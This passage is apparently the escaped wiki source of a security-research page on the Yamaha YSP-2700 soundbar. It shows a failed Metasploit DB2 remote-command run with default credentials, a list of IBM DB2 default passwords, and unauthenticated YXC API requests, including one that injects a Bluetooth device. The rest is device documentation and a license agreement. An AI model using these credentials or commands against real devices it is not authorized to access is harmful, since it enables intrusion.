 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 &amp;gt;&amp;lt;/b&amp;gt; use auxiliary/admin/db2/db2rcmd&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/db2/db2rcmd) &amp;gt;&amp;lt;/b&amp;gt; show options&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;Module options (auxiliary/admin/db2/db2rcmd):&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   Name     Current Setting  Required  Description&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   ----     ---------------  --------  -----------&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   CMD      ver              yes       The command to execute&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax &#039;file:&amp;lt;path&amp;gt;&#039;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   RPORT    445              yes       The SMB service port (TCP)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   SMBPass  db2admin         yes       The password for the specified username&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   SMBUser  db2admin         yes       The username to authenticate as&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/db2/db2rcmd) &amp;gt;&amp;lt;/b&amp;gt; set RHOSTS 192.168.86.248&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;RHOSTS =&amp;gt; 192.168.86.248&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/db2/db2rcmd) &amp;gt;&amp;lt;/b&amp;gt; set RPORT 50000&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;RPORT =&amp;gt; 50000&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/db2/db2rcmd) &amp;gt;&amp;lt;/b&amp;gt; run&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[*] Running module against 192.168.86.248&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[*] 192.168.86.248:50000 - Connecting to the server...&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[*] 192.168.86.248:50000 - Authenticating as user &#039;db2admin&#039; with pass &#039;db2admin&#039;...&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[-] 192.168.86.248:50000 - Error: Login Failed: execution expired&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[*] Auxiliary module execution completed&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Info&amp;lt;/b&amp;gt;: IBM DB2 Default Passwords&lt;br /&gt;
* Windows NT: {username: &amp;quot;db2admin&amp;quot;; password: &amp;quot;db2admin&amp;quot;}&lt;br /&gt;
* Linux: {username: &amp;quot;db2inst1&amp;quot;, &amp;quot;db2as&amp;quot;, &amp;quot;db2fenc1&amp;quot;; password: &amp;quot;ibmdb2&amp;quot;}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Multipurpose Internet Mail Extensions (MIME) type: Octet Stream&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
* https://www.iana.org/assignments/media-types/application/octet-stream&lt;br /&gt;
* https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Application programming interface (API)&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the Yamaha Extended Control API specifications below for detailed information!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: This API can be used to control a MusicCast device without any authentication.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Specification&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[:File:Yamaha_Extended_Control_API_Specification_(Basic).pdf|YXC API Specification (Basic)]]&lt;br /&gt;
* [[:File:Yamaha_Extended_Control_API_Specification_(Advanced).pdf|YXC API Specification (Advanced)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Examples&amp;lt;/h3&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Power On&lt;br /&gt;
http://$MusicCast/YamahaExtendedControl/v1/main/setPower?power=on&lt;br /&gt;
{&amp;quot;response_code&amp;quot;:0}&lt;br /&gt;
 &lt;br /&gt;
# Power Off (Use &#039;power=toggle&#039;)&lt;br /&gt;
http://$MusicCast/YamahaExtendedControl/v1/main/setPower?power=toggle&lt;br /&gt;
{&amp;quot;response_code&amp;quot;:0}&lt;br /&gt;
 &lt;br /&gt;
# Get Device Info&lt;br /&gt;
http://$MusicCast/YamahaExtendedControl/v1/system/getDeviceInfo&lt;br /&gt;
{&amp;quot;response_code&amp;quot;:0, &amp;quot;model_name&amp;quot;:&amp;quot;YSP-2700&amp;quot;, &amp;quot;destination&amp;quot;:&amp;quot;BG&amp;quot;, &amp;quot;device_id&amp;quot;:&amp;quot;AC44F244079A&amp;quot;, &amp;quot;system_id&amp;quot;:&amp;quot;0E20EF33&amp;quot;, &amp;quot;system_version&amp;quot;:2.11, &amp;quot;api_version&amp;quot;:2.04, &amp;quot;netmodule_generation&amp;quot;:1, &amp;quot;netmodule_version&amp;quot;:&amp;quot;1813    &amp;quot;, &amp;quot;netmodule_checksum&amp;quot;:&amp;quot;4E2DC16D&amp;quot;, &amp;quot;operation_mode&amp;quot;:&amp;quot;normal&amp;quot;, &amp;quot;update_error_code&amp;quot;:&amp;quot;00000000&amp;quot;}&lt;br /&gt;
 &lt;br /&gt;
# Get Network Settings&lt;br /&gt;
http://$MusicCast/YamahaExtendedControl/v1/system/getNetworkStatus&lt;br /&gt;
{&amp;quot;response_code&amp;quot;:0, &amp;quot;network_name&amp;quot;:&amp;quot;LivingRoom&amp;quot;, &amp;quot;connection&amp;quot;:&amp;quot;wired_lan&amp;quot;, &amp;quot;dhcp&amp;quot;:true,&amp;quot;ip_address&amp;quot;:&amp;quot;192.168.86.248&amp;quot;, &amp;quot;subnet_mask&amp;quot;:&amp;quot;255.255.255.0&amp;quot;, &amp;quot;default_gateway&amp;quot;:&amp;quot;192.168.86.1&amp;quot;, &amp;quot;dns_server_1&amp;quot;:&amp;quot;192.168.86.1&amp;quot;, &amp;quot;dns_server_2&amp;quot;:&amp;quot;0.0.0.0&amp;quot;, &amp;quot;wireless_lan&amp;quot;:{&amp;quot;ssid&amp;quot;:&amp;quot;Wifi&amp;quot;, &amp;quot;type&amp;quot;:&amp;quot;wpa2-psk(aes)&amp;quot;, &amp;quot;key&amp;quot;:&amp;quot;&amp;quot;, &amp;quot;ch&amp;quot;:0,&amp;quot;strength&amp;quot;:0},&amp;quot;wireless_direct&amp;quot;:{&amp;quot;ssid&amp;quot;:&amp;quot;YSP-2700 44079A&amp;quot;, &amp;quot;type&amp;quot;:&amp;quot;none&amp;quot;, &amp;quot;key&amp;quot;:&amp;quot;&amp;quot;},&amp;quot;musiccast_network&amp;quot;:{&amp;quot;ready&amp;quot;:true,&amp;quot;device_type&amp;quot;:&amp;quot;standard&amp;quot;, &amp;quot;child_num&amp;quot;:0,&amp;quot;ch&amp;quot;:0,&amp;quot;initial_join_running&amp;quot;:false}, &amp;quot;mac_address&amp;quot;:{&amp;quot;wired_lan&amp;quot;:&amp;quot;AC44F244079A&amp;quot;, &amp;quot;wireless_lan&amp;quot;:&amp;quot;0CB2B764EB4F&amp;quot;, &amp;quot;wireless_direct&amp;quot;:&amp;quot;0CB2B764EB50&amp;quot;},&amp;quot;airplay_pin&amp;quot;:&amp;quot;&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
# Inject a Bluetooth device&lt;br /&gt;
http://192.168.86.248/YamahaExtendedControl/v1/system/connectBluetoothDevice?address=1234567890AB&lt;br /&gt;
http://192.168.86.248/YamahaExtendedControl/v1/system/getBluetoothDeviceList&lt;br /&gt;
{&amp;quot;response_code&amp;quot;:0,&amp;quot;updating&amp;quot;:true,&amp;quot;device_list&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;Galaxy S9+&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;unknown&amp;quot;,&amp;quot;address&amp;quot;:&amp;quot;1234567890AB&amp;quot;},{&amp;quot;name&amp;quot;:&amp;quot;Galaxy Note10+&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;unknown&amp;quot;,&amp;quot;address&amp;quot;:&amp;quot;BA0987654321&amp;quot;}]}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;More&amp;lt;/b&amp;gt;: [[:File:Yamaha_MusicCast_HTTP_simplified_API_for_ControlSystems.pdf|Yamaha MusicCast HTTP simplified API for ControlSystems]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Implementations&amp;lt;/h3&amp;gt;&lt;br /&gt;
* https://www.npmjs.com/package/yamaha-yxc-nodejs&lt;br /&gt;
* https://github.com/rsc-dev/pyamaha&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Web Interface&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;!--A compressed copy of the Yamaha YSP-2700 client-side webpage can be found [[Media:Webpage YSP-2700.zip|here]]. --&amp;gt;The website does not have any authentication options, so it is possible for any user on the network to perform some basic configurations. By analysing the scr1.js file used, it was first possible to conclude that the YamahaExtendedControl (YXC) API was being employed.  YXC is used by all devices of the MusicCast product line and allows the control by a suitable smartphone app or any HTTP client. This API and app will be discussed in the following section.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal; line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; YAMAHA YSP-2700: Soundbar&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;YAMAHA YSP-2700: Configuration Webpage&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: none; background-color: white; border-radius: 3px&amp;quot; heights=350px&amp;gt;&lt;br /&gt;
image:YAMAHA_YSP-2700_webpage_1_Network_Name.png|Network Name&lt;br /&gt;
image:YAMAHA_YSP-2700_webpage_2_Network_Setup.png|Network Setup&lt;br /&gt;
image:YAMAHA_YSP-2700_webpage_3_AirPlay_Password.png|AirPlay Password&lt;br /&gt;
image:YAMAHA_YSP-2700_webpage_4_Firmware_Update.png|Firmware Update&lt;br /&gt;
image:YAMAHA_YSP-2700_webpage_5_Standby.png|Standby&lt;br /&gt;
image:YAMAHA_YSP-2700_webpage_6_MAC_Filter.png|MAC Filter&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Third-party software licenses&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal; line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; This page gives a quick insight into employed software.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;div style=&amp;quot;&lt;br /&gt;
    column-count:6;&lt;br /&gt;
    -moz-column-count: 6; &lt;br /&gt;
    -webkit-column-count: 6;    &lt;br /&gt;
    color: #000;&lt;br /&gt;
    background-color: white&lt;br /&gt;
    padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
* aac&lt;br /&gt;
* alac&lt;br /&gt;
* Embedded C MQTT Client&lt;br /&gt;
* cURL&lt;br /&gt;
* jsmn&lt;br /&gt;
* mdedTLS&lt;br /&gt;
* expat&lt;br /&gt;
* libcurl&lt;br /&gt;
* libjansson&lt;br /&gt;
* libncurses&lt;br /&gt;
* libuuid&lt;br /&gt;
* zlib&lt;br /&gt;
* c-ares&lt;br /&gt;
* iperf&lt;br /&gt;
* iw&lt;br /&gt;
* jpeg&lt;br /&gt;
* libFLAC&lt;br /&gt;
* mdns&lt;br /&gt;
* png&lt;br /&gt;
* spotify&#039;s bonjour&lt;br /&gt;
* spotify&#039;s getopt&lt;br /&gt;
* spotify&#039;s liborvis&lt;br /&gt;
* spotify&#039;s md32_Common.h&lt;br /&gt;
* spotify&#039;s md5_dgst.c, md5_locl.h&lt;br /&gt;
* spotify&#039;s mongoose&lt;br /&gt;
* spotify&#039;s PuTTY&lt;br /&gt;
* spotify&#039;s Tremor&lt;br /&gt;
* wavpack&lt;br /&gt;
* crda&lt;br /&gt;
* wpa_supplicant and hostapd&lt;br /&gt;
* openssl&lt;br /&gt;
* wifi ti utils&lt;br /&gt;
* wifi wireless regdb&lt;br /&gt;
* wifi wl18xx_fw&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;span id=&amp;quot;License_footnote&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;b&amp;gt;License footnote&amp;lt;/b&amp;gt;: &amp;quot;This product incorporates and bundles computer programs and contents in which Yamaha owns copyrights or with respect to which it has license to use others&#039; copyrights. Any unauthorized use of such programs and contents outside of personal use is not permitted under relevant laws. Any violation of copyright has legal consequences. DON&#039;T MAKE, DISTRIBUTE OR USE ILLEGAL COPIES. DON&#039;T DISASSEMBLE, DECOMPILE, OR &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;REVER&amp;lt;u&amp;gt;C&amp;lt;/u&amp;gt;E ENGINEER&amp;lt;/span&amp;gt; SUCH COMPUTER PROGRAMS AND CONTENTS.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Application&amp;lt;/h2&amp;gt;&lt;br /&gt;
* https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/app.html#product-tabs&lt;br /&gt;
* https://europe.yamaha.com/en/products/audio_visual/apps/musiccast_controller/index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
* AppStore (US): https://itunes.apple.com/us/app/musiccast-controller-us/id1002730190&lt;br /&gt;
* AppStore (Outside US): https://itunes.apple.com/jp/app/musiccast-controller/id1012248381&lt;br /&gt;
* GooglePlay: https://play.google.com/store/apps/details?id=com.yamaha.av.musiccastcontroller&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&amp;lt;h2&amp;gt;Offline&amp;lt;/h2&amp;gt;--&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
In respect to the [[#License_footnote]] License footnote, no dissembling, decompilation or reverCe engeneering has been applied.&lt;br /&gt;
* Firmware update instructions: https://europe.yamaha.com/files/download/other_assets/7/829557/YSP2700_Firmware_update_E.pdf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Restrictions&amp;lt;/h3&amp;gt;&lt;br /&gt;
You may not engage in reverse engineering, disassembly, decompilation or otherwise deriving a source code form of the SOFTWARE by any method whatsoever.&lt;br /&gt;
*&amp;lt;b&amp;gt;You may not&amp;lt;/b&amp;gt; reproduce, modify, change, rent, lease, or distribute the SOFTWARE in whole or in part, or create derivative works of the SOFTWARE.&lt;br /&gt;
*&amp;lt;b&amp;gt;You may not&amp;lt;/b&amp;gt; electronically transmit the SOFTWARE from one computer to another or share the SOFTWARE in a network with other computers.&lt;br /&gt;
*&amp;lt;b&amp;gt;You may not&amp;lt;/b&amp;gt; use the SOFTWARE to distribute illegal data or data that violates public policy.&lt;br /&gt;
*&amp;lt;b&amp;gt;You may not&amp;lt;/b&amp;gt; initiate services based on the use of the SOFTWARE without permission by Yamaha Corporation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;calc(100% - 12px); overflow:auto; margin-top: 10px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal; line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Full License Agreement&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;div style=&amp;quot;color: #000; background-color: white; border: 1px solid #a7d7f9; padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;license-agreement&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;ATTENTION&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;PLEASE READ THIS SOFTWARE LICENSE AGREEMENT (&amp;quot;AGREEMENT&amp;quot;) CAREFULLY BEFORE USING THIS SOFTWARE. YOU ARE ONLY PERMITTED TO USE THIS SOFTWARE PURSUANT TO THE TERMS AND CONDITIONS OF THIS AGREEMENT. THIS AGREEMENT IS BETWEEN YOU (AS AN INDIVIDUAL OR LEGAL ENTITY) AND YAMAHA CORPORATION (&amp;quot;YAMAHA&amp;quot;). &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
BY DOWNLOADING OR INSTALLING THIS SOFTWARE OR OTHERWISE RENDERING IT AVAILABLE FOR YOUR USE, YOU ARE AGREEING TO BE BOUND BY THE TERMS OF THIS LICENSE. IF YOU DO NOT AGREE WITH THE TERMS, DO NOT DOWNLOAD, INSTALL, COPY, OR OTHERWISE USE THIS SOFTWARE. IF YOU HAVE DOWNLOADED OR INSTALLED THE SOFTWARE AND DO NOT AGREE TO THE TERMS, PROMPTLY DELETE THE SOFTWARE.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;GRANT OF LICENSE AND COPYRIGHT&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Yamaha hereby grants you the right to use the programs and data files composing the software accompanying this Agreement, and any programs and files for upgrading such software that may be distributed to you in the future with terms and conditions attached (collectively, “SOFTWARE”), only on a computer, musical instrument or equipment item that you yourself own or manage. While ownership of the storage media in which the SOFTWARE is stored rests with you, the SOFTWARE itself is owned by Yamaha and/or Yamaha’s licensor(s), and is protected by relevant copyright laws and all applicable treaty provisions.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;RESTRICTIONS&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;You may not&amp;lt;/strong&amp;gt; engage in reverse engineering, disassembly, decompilation or otherwise deriving a source code form of the SOFTWARE by any method whatsoever. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;You may not&amp;lt;/strong&amp;gt; reproduce, modify, change, rent, lease, or distribute the SOFTWARE in whole or in part, or create derivative works of the SOFTWARE.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;You may not&amp;lt;/strong&amp;gt; electronically transmit the SOFTWARE from one computer to another or share the SOFTWARE in a network with other computers.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;You may not&amp;lt;/strong&amp;gt; use the SOFTWARE to distribute illegal data or data that violates public policy.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;You may not&amp;lt;/strong&amp;gt; initiate services based on the use of the SOFTWARE without permission by Yamaha Corporation.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Copyrighted data, including but not limited to MIDI data for songs, obtained by means of the SOFTWARE, are subject to the following restrictions which you must observe. &amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Data received by means of the SOFTWARE may not be used for any commercial purposes without permission of the copyright owner. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Data received by means of the SOFTWARE may not be duplicated, transferred, or distributed, or played back or performed for listeners in public without permission of the copyright owner. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The encryption of data received by means of the SOFTWARE may not be removed nor may the electronic watermark be modified without permission of the copyright owner.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;TERMINATION&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;If any copyright law or provisions of this Agreement is violated, the Agreement shall terminate automatically and immediately without notice from Yamaha. Upon such termination, you must immediately destroy the licensed SOFTWARE, any accompanying written documents and all copies thereof.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;DOWNLOADED SOFTWARE&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;If you believe that the downloading process was faulty, you may contact Yamaha, and Yamaha shall permit you to re-download the SOFTWARE, provided that you first destroy any copies or partial copies of the SOFTWARE that you obtained through your previous download attempt. This permission to re-download shall not limit in any manner the disclaimer of warranty set forth in Section 5 below. &amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;DISCLAIMER OF WARRANTY ON SOFTWARE&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;You expressly acknowledge and agree that use of the SOFTWARE is at your sole risk. The SOFTWARE and related documentation are provided &amp;quot;AS IS&amp;quot; and without warranty of any kind. NOTWITHSTANDING ANY OTHER PROVISION OF THIS AGREEMENT, YAMAHA EXPRESSLY DISCLAIMS ALL WARRANTIES AS TO THE SOFTWARE, EXPRESS, AND IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT OF THIRD PARTY RIGHTS. SPECIFICALLY, BUT WITHOUT LIMITING THE FOREGOING, YAMAHA DOES NOT WARRANT THAT THE SOFTWARE WILL MEET YOUR REQUIREMENTS, THAT THE OPERATION OF THE SOFTWARE WILL BE UNINTERRUPTED OR ERROR-FREE, OR THAT DEFECTS IN THE SOFTWARE WILL BE CORRECTED.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;LIMITATION OF LIABILITY&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;YAMAHA’S ENTIRE OBLIGATION HEREUNDER SHALL BE TO PERMIT USE OF THE SOFTWARE UNDER THE TERMS HEREOF. IN NO EVENT SHALL YAMAHA BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY DAMAGES, INCLUDING, WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL OR CONSEQUENTIAL DAMAGES, EXPENSES, LOST PROFITS, LOST DATA OR OTHER DAMAGES ARISING OUT OF THE USE, MISUSE OR INABILITY TO USE THE SOFTWARE, EVEN IF YAMAHA OR AN AUTHORIZED DEALER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. In no event shall Yamaha&#039;s total liability to you for all damages, losses and causes of action (whether in contract, tort or otherwise) exceed the amount paid for the SOFTWARE. &amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;THIRD PARTY SOFTWARE&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Third party software and data (&amp;quot;THIRD PARTY SOFTWARE&amp;quot;) may be attached to the SOFTWARE. If, in the written materials or the electronic data accompanying the Software, Yamaha identifies any software and data as THIRD PARTY SOFTWARE, you acknowledge and agree that you must abide by the provisions of any Agreement provided with the THIRD PARTY SOFTWARE and that the party providing the THIRD PARTY SOFTWARE is responsible for any warranty or liability related to or arising from the THIRD PARTY SOFTWARE. Yamaha is not responsible in any way for the THIRD PARTY SOFTWARE or your use thereof.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Yamaha provides no express warranties as to the THIRD PARTY SOFTWARE. IN ADDITION, YAMAHA EXPRESSLY DISCLAIMS ALL IMPLIED WARRANTIES, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, as to the THIRD PARTY SOFTWARE.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Yamaha shall not provide you with any service or maintenance as to the THIRD PARTY SOFTWARE.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Yamaha is not liable to you or any other person for any damages, including, without limitation, any direct, indirect, incidental or consequential damages, expenses, lost profits, lost data or other damages arising out of the use, misuse or inability to use the THIRD PARTY SOFTWARE.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;b class=&amp;quot;headingC01&amp;quot;&amp;gt;U.S. GOVERNMENT RESTRICTED RIGHTS NOTICE:&amp;lt;/b&amp;gt;&lt;br /&gt;
